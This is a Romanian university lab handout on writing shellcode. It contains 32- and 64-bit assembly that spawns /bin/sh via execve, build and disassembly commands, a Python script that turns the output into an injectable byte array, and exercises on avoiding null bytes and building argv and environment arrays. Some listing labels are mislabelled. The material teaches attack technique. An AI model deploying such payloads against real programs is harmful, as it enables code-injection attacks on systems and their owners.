Scrierea Shellcode

1 Scopul lucrării

Shellcode este utilizat pe scară largă în multe atacuri care implică injectarea de cod. Scrierea shellcode este destul de dificilă. Deși putem găsi cu ușurință shellcode existent de pe Internet, există situații în care trebuie să scriem un shellcode care satisface anumite cerințe specifice. Mai mult, pentru a putea scrie propriul nostru shellcode din zgârietura este întotdeauna interesantă. Există mai multe tehnici interesante implicate în shellcode. Scopul acestei lucrari de laborator este să ajute studenții să înțeleagă aceste tehnici, astfel încât să își poată scrie propriul cod shell. Există mai multe provocări în scrierea codului shell: una este să vă asigurați că nu există zero în binar, iar cealaltă este să aflați adresa datelor utilizate în comandă. Prima provocare nu este foarte grea de rezolvat și există mai multe moduri de a o rezolva. Soluțiile la cea de a doua provocare au condus la două abordări tipice pentru a scrie shellcode. Într-o primă abordare, datele sunt puse în stivă în timpul execuției, astfel încât adresele pot fi obținute din indicatorul stivei. În a doua abordare, datele sunt stocate în regiunea codului, imediat după o instrucțiune de apel. Când instrucțiunea de apel este executată, adresa datelor este tratată ca adresa de retur și este pusă pe stivă. Acest laborator acoperă următoarele subiecte:

1. Shellcode
2. Cod în limbaj de asamblare
3. Dezasamblarea codului

2 Desfășurarea lucrării

2.1 Sarcina 1: Scrierea shellcode

În această sarcină, vom începe mai întâi cu un exemplu de shellcode, pentru a demonstra cum se scrie un shellcode. După aceea, va trebui să modificați codul pentru a îndeplini diverse sarcini.

Shellcode este scris de obicei folosind limbaje de asamblare, care depind de arhitectura computerului. Vom folosi arhitecturile Intel, care au două tipuri de procesoare: x86 (pentru CPU pe 32 de biți) și x64 (pentru CPU pe 64 de biți). În această sarcină, ne vom concentra pe shellcode pe 32 de biți. În sarcina finală, vom trece la shellcode pe 64 de biți shellcode. Deși majoritatea computerelor din zilele noastre sunt computere pe 64 de biți, acestea pot rula programe pe 32 de biți.

2.1.1 Sarcina 1a. Procesul integral

În această sarcină, oferim un cod shell x86 de bază pentru a vă arăta cum se scrie un cod shell de la zero. Codul poate fi descărcat de pe site-ul web al laboratorului.

Codul este furnizat mai jos. **Notă**: vă rugăm să nu copiați și lipiți din acest fișier PDF, deoarece unele caractere ar putea fi modificate din cauza copierii și lipirii. În schimb, descărcați fișierul de pe site-ul web al laboratorului.

Programul vulnerabil `server.c` este prezentat mai jos. 2 3

Listing 1: Programul vulnerabil `mysh.s`

```
section .text
    global _start
        _start:
        ; Store the argument string on stack
        xor  eax, eax
        push eax          ; Use 0 to terminate the string
        push "//sh"                                          ❶
        push "/bin"
        mov  ebx, esp     ; Get the string address

        ; Construct the argument array argv[]
        push eax          ; argv[1] = 0                      ❷
        push ebx          ; argv[0] points "/bin//sh"        ❸
        mov  ecx, esp     ; Get the address of argv[]

        ; For environment variable
        xor  edx, edx     ; No env variables                 ❹

        ; Invoke execve()
        xor  eax, eax     ; eax = 0x00000000
        mov   al, 0x0b    ; eax = 0x0000000b
        int 0x80
```

Compilarea. Compilăm codul de asamblare de mai sus (`mysh.s`) folosind `nasm`, care este un asamblor și dezasamblor pentru arhitecturile Intel x86 și x64. Opțiunea `-f elf32` indică faptul că dorim să compilam codul în format binar ELF pe 32 de biți. Formatul executabil și legabil (ELF) este un format de fișier standard comun pentru fișiere executabile, cod obiect, biblioteci partajate. Pentru codul de asamblare pe 64 de biți, trebuie folosită opțiunea `elf64`.

```
$ nasm -f elf32 mysh.s -o mysh.o
```

Editarea legăturilor pentru a genera binarul final. Odată ce obținem codul obiect `mysh.o`, dacă vrem să generăm un executabil binar, putem executa editorul de legături, `ld`, care este ultimul pas în compilare. Opțiunea `-m elf_i386` opțiune înseamnă generarea binarului ELF pe 32 de biți. După acest pas, obținem codul executabil final `mysh`. Dacă îl rulăm, putem obține un shell. Înainte și după rularea `mysh`, tipărim ID-urile de proces ale shell-ului curent folosind `echo $$`, astfel încât să putem vedea clar că `mysh` începe într-adevăr un nou shell

```
$ ld -m elf_i386 mysh.o -o mysh
$ echo $$
25751 # ID de proces al shell curent
$ mysh
$ echo $$
9760 # ID de proces al shell nou
```

Obținerea codului mașină. În timpul atacului, avem nevoie doar de codul-mașină al codului shell, nu de un fișier executabil autonom, care conține alte date decât codul-mașină real. Tehnic,

doar codul-mașină se numește shellcode. Prin urmare, trebuie să extragem codul-mașină din fișierul executabil sau fișierul obiect. Există diferite moduri de a face asta. O modalitate este de a folosi comanda `objdump` pentru a dezasambla fișierul executabil sau obiect.

Există două moduri de sintaxă comune diferite pentru codul de asamblare, unul este modul de sintaxă **AT&T**, iar celălalt este modul de sintaxă **Intel**. În mod implicit, `objdump` utilizează modul **AT&T**. În cele ce urmează, folosim opțiunea `-Mintel` pentru a produce codul de asamblare în modul Intel.

```
$ objdump -Mintel --disassemble mysh.o
mysh.o:    file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
         0: 31 db        xor        ebx,ebx
         2: 31 c0        xor        eax,eax
                    ... (cod omis) ...
        1f: b0 0b        mov        al,0xb
        21: cd 80        int        0x80
```

În textul tipărit mai sus, numerele evidențiate reprezintă codul-mașină. Puteți utiliza și comanda `xxd` pentru a tipări conținutul fișierului binar. Ar trebui să puteți afla codul mașină al codului shell din ce tipărește `xxd`.

```
$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000000001000300
...
00000000000000000000000031db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80000000000000000000000000000
...
```

Folosirea shellcode în cod de atac. În atacurile reale, trebuie să includem shellcode în codul pentru atac, cum ar fi un program Python sau C. De obicei stocăm codul mașinii într-un tablou, dar convertirea codului-mașină tipărit mai sus este destul de greu de făcut manual, mai ales dacă trebuie să efectuăm acest proces de multe ori în laborator. Am scris următorul cod Python pentru a ajuta în acest proces. Doar copiați ieșirea comenzii `xxd` (doar partea de shellcode) și lipiți-o în următorul cod, între rândurile marcate cu "". Codul poate fi descărcat de pe site-ul laboratorului.

Listing 2: Programul vulnerabil `convert.py`

```
#!/usr/bin/env python3

# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh = """
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""
```

```
sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
        s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)
```

Programul `convert.py` va tipări următorul cod Python pe care puteți să-l includeți în codul de atac. Acesta stochează shellcode într-un tablou Python.

```
$ ./convert.py
Length of the shellcode: 35
shellcode= (
"\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
"\x0b\xcd\x80"
).encode('latin-1')
```

2.1.2 Sarcina 1b. Eliminarea zerourilor din cod

Shellcode este utilizat pe scară largă în atacurile cu depășirea zonei de memorie alocate. În multe cazuri, vulnerabilitățile sunt cauzate de copierile de șiruri, cum ar fi folosind funcția `strcpy()`. Pentru aceste funcții de copiere a șirurilor, zero este considerat sfârșitul șirului. Prin urmare, dacă avem un zero în mijlocul unui shellcode, copierea șirului se va opri după acel zero, astfel încât atacul nu va putea reuși.

Deși nu toate vulnerabilitățile au probleme cu zerourile, devine o cerință pentru shellcode să nu să aibă nici un zero în codul-mașină; în caz contrar, aplicabilitatea shellcode va fi limitată.

Există multe tehnici care prin care se pot evita zerourile din codul shell. Codul `mysh.s` are nevoie de zerouri în patru locuri diferite. Vă rugăm să identificați toate acele locuri și să explicați cum poate codul folosi zerouri, fără a scrie zero în cod. Câteva indicii sunt date în cele ce urmează:

- Dacă vrem să atribuim zero lui `eax`, putem folosi `mov eax, 0`, dar făcând acest lucru, vom obține un zero în codul-mașină. O modalitate tipică de a rezolva această problemă este utilizarea instrucțiunii `xor eax, eax`. Explicați de ce ar funcționa asta.
- Dacă vrem să stocăm `0x00000099` în `eax`. Nu putem folosi `mov eax, 0x99`, deoarece al doilea operand este de fapt `0x00000099`, care conține trei zerouri. Pentru a rezolva această problemă, putem mai întâi să setăm `eax` la zero și apoi să atribuim un număr cu lungimea de un octet cu valoarea `0x99` registrului `al`, care reprezintă cel mai puțin semnificativi 8 biți din registrul `eax`.
- O altă modalitate este să folosim deplasarea. În codul următor cod, mai întâi se atribuie `0x237A7978` lui `ebx`. Valorile ASCII pentru `x`, `y`, `z` și `#` sunt `0x78`, `0x79`, `0x7a`, și, respectiv, `0x23`. Pentru că majoritatea procesoarelor Intel folosesc ordonarea Little Endian la stocare, octetul cel mai puțin semnificativ (adică, caracterul `x`) este cel stocat la adresa inferioară, deci numărul reprezentat de "`xyz#`" este de fapt `0x237A7978`. Asta se poate vedea la dezasamblarea codului folosind utilitarul `objdump`.

După atribuirea numărului registrului `ebx`, deplasăm acest registru la stânga cu 8 biți, deci cel mai semnificativ octet, cu valoarea `0x23` va fi eliminat. Apoi deplasăm registrul la dreapta pentru 8 biți, deci octetul cel mai semnificativ va fi umplut cu `0x00`. După aceea, `ebx` va conține `0x007A7978`, adică echivalent cu "`xyz\0`", adică ultimul octet al acestui șir devine zero.

```
mov ebx, „xyz#"
shl ebx, 8
shr ebx, 8
```

Sarcină. În linia ❶ a shellcode `mysh.s` (listing 1), punem "`//sh`" pe stivă, De fapt, dorim să punem doar "`/sh`", dar instrucțiunea `push` trebuie să pună un număr de 32 biți. De aceea adăugăm un `/` redundant la început; pentru SO acesta este echivalent cu un singur "`/`".

Pentru a realiza această sarcină vom folosi shellcode pentru a executa `/bin/bash`, șir care are 9 octeți (10 cu zeroul terminator). Tipic, pentru a pune pe stivă acest șir, va trebui să facem lungimea multiplu de 4, așa că îl vom converti în `/bin////bash`.

Dar, pentru a îndeplini această sarcină, nu aveți voie să adăugați nici un `/` redundant, adică lungimea comenzii trebuie să fie 9 octeți (`/bin/bash`), Demonstrați cum se poate face asta. Pe lângă a arăta că puteți obține un shell bash trebuie să demonstrați și că nu sunt zerouri în cod.

2.1.3 Sarcina 1c. Furnizarea argumentelor pentru apeluri sistem

În `mysh.sh`, în liniile ❷ și ❸, construim tabloul `argv[]` pentru apelul sistem `execve()`. Cum comanda noastră este (`/bin/sh`), fără argumente pe linia de comandă, tabloul `argv` va conține doar două elemente: primul este un pointer la șirul care reprezintă comanda, iar cel de al doilea este zero.

În cadrul acestei sarcini avem nevoie să executăm comanda de mai jos, adică, vrem să folosim `execve` pentru a executa comanda de mai jos, comandă care folosește `/bin/sh` pentru a executa "`ls -la`"

```
/bin/sh -c "ls -la"
```

În această nouă comandă, tabloul `argv` ar trebui să aibă următoarele patru elemente, toate acestea fiind necesare să fie construite pe stivă. Modificați `mysh.s` și demonstrați rezultatul execuției. Ca de obicei, codul nu poate conține zero, dar veți voie să utilizați "`/`" redundant.

```
argv[3] = 0
argv[2] = "ls -la"
argv[1] = "-c"
argv[0] = "/bin/sh"
```

2.1.4 Sarcina 1d. Furnizarea variabilelor de mediu pentru `execve()`

Al treilea parametru pentru apelul de sistem `execve()` este un pointer către tabloul variabilelor de mediu; acesta ne permite să transmitem variabile de mediu programului. În programul nostru exemplu (linia ❹), trecem un pointer nul către `execve()`, deci nicio variabilă de mediu nu este transmisă programului. În această sarcină, vom trece câteva variabile de mediu.

Putem schimba comanda "`/bin/sh`" din shellcode `mysh.s` la "`/usr/bin/env`", care este o comandă pentru a tipări variabilele de mediu. Puteți vedea că atunci când rulăm codul shell, nu va fi nicio ieșire, deoarece procesul nostru nu are nicio variabilă de mediu.

În această sarcină, vom scrie un cod shell numit `myenv.s`. Când acest program este executat, execută comanda "`/usr/bin/env`", care poate tipări următoarele variabile de mediu:

```
$ ./myenv
aaa=1234
bbb=5678
cccc=1234
```

Trebuie remarcat faptul că valoarea variabilei de mediu `cccc` trebuie să fie exact 4 octeți (nu există spațiu lăsat de adăugat la coadă). Facem în mod intenționat lungimea acestui șir de variabile de mediu (nume și valoare) să nu fie multiplu de 4.

Pentru a scrie un astfel de cod shell, trebuie să construim un tablou de variabile de mediu pe stivă și să stocăm adresa acestui tablou în registrul `edx`, înainte de a invoca `execve()`. Modul în care construim acest tablou pe stivă este exact la fel cu modul în care construim tabloul `argv[]`. Practic, mai întâi stocăm șirurile de variabile de mediu reale pe stivă. Fiecare șir are formatul `nume=valoare` și este terminat cu un octet zero. Trebuie să obținem adresele acestor șiruri. Apoi, construim tabloul de variabile de mediu, tot pe stivă, și stocăm adresele șirurilor în acest tablou. Tabloul ar trebui să arate ca următoarele (ordinea elementelor 0, 1 și 2 nu contează):

```
env[3] = 0   // 0 marchează sfârșitul tabloului
env[2] = adresa șirului "cccc=1234".
env[1] = adresa șirului "bbb=5678"
env[0] = adresa șirului "aaa=1234"
```

2.2 Sarcina 2. Folosirea segmentului de cod

După cum putem vedea din codul shell din Sarcina 2.1, modul în care rezolvă problema adresei datelor este că construiește în mod dinamic toate structurile de date necesare pe stivă, astfel încât adresele acestora să poată fi obținute din indicatorul stivei, `esp`.

Există o altă abordare pentru a rezolva aceeași problemă, adică obținerea adresei tuturor datelor necesare structurilor. În această abordare, datele sunt stocate în regiunea codului, iar adresa acesteia este obținută prin intermediul mecanismului de apel al funcției. Să examinăm următorul cod.

Listing 3: Codul sursă al `mysh2.s`

```
section .text
    global _start
        _start:
            BITS 32
            jmp short two
    one:
        pop ebx                          ❶
        xor eax, eax
        mov [ebx+7], al     ; save 0x00 (1 byte) to memory at address
           ebx+7
        mov [ebx+8], ebx    ; save ebx (4 bytes) to memory at address
           ebx+8
        mov [ebx+12], eax   ; save eax (4 bytes) to memory at address
           ebx+12
        lea ecx, [ebx+8]    ; let ecx = ebx + 8
        xor edx, edx
        mov al, 0x0b
        int 0x80
```

```
two:
        call one
        db '/bin/sh*AAAABBBB' ;        ❷
```

Codul de mai sus sare mai întâi la instrucțiunea de la locația `two`, care face un alt salt (la locația `one`), dar de data aceasta, folosește instrucțiunea de apelare. Această instrucțiune este pentru un apel de funcție, adică înainte de a trece la locația țintă, păstrează o înregistrare a adresei instrucțiunii următoare ca adresă de retur, astfel ca, atunci când revine din funcție, revenirea să fie la instrucțiunea care urmează imediat după instrucțiunea de apel.

În acest exemplu, „instrucțiunea" imediat după instrucțiunea de apel (linia ❶) nu este de fapt o instrucțiune; ea stochează un șir. Cu toate acestea, acest lucru nu contează, instrucțiunea de apel va pune adresa (adică, adresa șirului) pe stivă, în câmpul adresei de retur al cadrului funcției. Când intrăm în funcție, adică după saltul la locația `one`, vârful stivei este locul unde este stocată adresa de retur. Prin urmare, instrucțiunea `pop ebx` va obține de fapt adresa șirului de caractere din linia ❷ și o va salva în registrul `ebx`.

Așa se obține adresa șirului.

Șirul la linia ❷ nu este un șir terminat; este doar pentru a ține loc. Programul trebuie să construiască structura de date necesară în interiorul acestui loc. Deoarece adresa șirului este deja obținută, adresa tuturor structurilor de date construite în interiorul acestui loc poate fi derivată cu ușurință.

Dacă vrem să obținem un executabil, trebuie să folosim opțiunea `--omagic` atunci când rulăm editorul de legături (`ld`), astfel ca să se poată scrie în segmentul de cod. În mod implicit, segmentul de cod nu poate fi scris. Când acest program rulează, trebuie să modifice datele stocate în regiunea de cod; dacă nu se poate scrie în segmentul de cod, programul va eșua. Aceasta nu este o problemă pentru atacurile reale, deoarece în acele atacuri, codul este de obicei injectat într-un segment de date în care se poate scrie (de exemplu, stivă sau heap). De obicei, nu rulăm shellcode ca program independent.

```
$ nasm -f elf32 mysh2.s -o mysh2.o
$ ld --omagic -m elf_i386 mysh2.o -o mysh2
```

Sarcini. Trebuie să faceți următoarele:

1. Furnizați o explicație detaliată pentru fiecare rând a codului din `mysh2.s`, începând de la linia etichetată `one`. Vă rugăm să explicați de ce acest cod ar executa cu succes fișierul programul `/bin/sh`, cum este construit mtabloul `argv[]` etc.

2. Utilizați tehnica din `mysh2.s` pentru a implementa un nou shellcode, astfel încât să execute `/usr/bin/env` și să tipărească următoarele variabile de mediu:

   ```
   a=11
   b=22
   ```

2.3 Sarcina 3. Scrierea de shellcode pe 64 biți

Odată ce știm cum să scriem shellcode pe 32 de biți, scrierea shellcode pe 64 de biți nu va fi dificilă, deoarece acestea sunt destul de asemănătoare; diferențele sunt în principal în registre. Pentru arhitectura x64, invocarea apelului de sistem se face prin instrucțiunea `syscall`, iar primele trei argumente pentru apelul de sistem sunt stocate în registrele `rdx`, `rsi`, respectiv `rdi`. Următorul cod este un exemplu de shellcode pe 64 de biți:

Listing 4: Codul sursă al `mysh64.ss`

```
section .text
    global _start
        _start:
        ; The following code calls execve("/bin/sh", ...)
        xor rdx, rdx        ; 3rd argument (stored in rdx)
        push rdx
        mov rax, '/bin//sh'
        push rax
        mov rdi, rsp        ; 1st argument (stored in rdi)
        push rdx
        push rdi
        mov rsi, rsp        ; 2nd argument (stored in rsi)
        xor rax, rax
        mov al, 0x3b        ; execve()
        syscall
```

Putem folosi comenzile următoare pentru a compila codul în limbaj de asamblare în cod binar pe 64 biți:

```
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
```

Sarcină. Repetați Sarcina 2.1.2 pentru acest shellcode pe 64 de biți. Și anume, în loc să executăm "`/bin/sh`", trebuie să executăm "`/bin/bash`", și nu avem voie să folosim niciun "`/`" redundant în șirul de comandă, adică lungimea comenzii trebuie să fie de 9 octeți (`/bin/bash`). Vă rugăm să demonstrați cum puteți face asta.

În plus pentru a arăta că puteți obține un shell bash, trebuie, de asemenea, să arătați că nu există zero în codul dvs.

3 Trimiterea rezultatelor

Trebuie să trimiteți un raport detaliat, cu capturi de ecran, să descrieți ce ați făcut și ce ați observat; de asemenea trebuie să explicați observațiile pe care le considerați surprinzătoare sau interesante. De asemenea includeți porțiunile de cod importante urmate de explicații. Anexarea codului fără explicații nu primește puncte.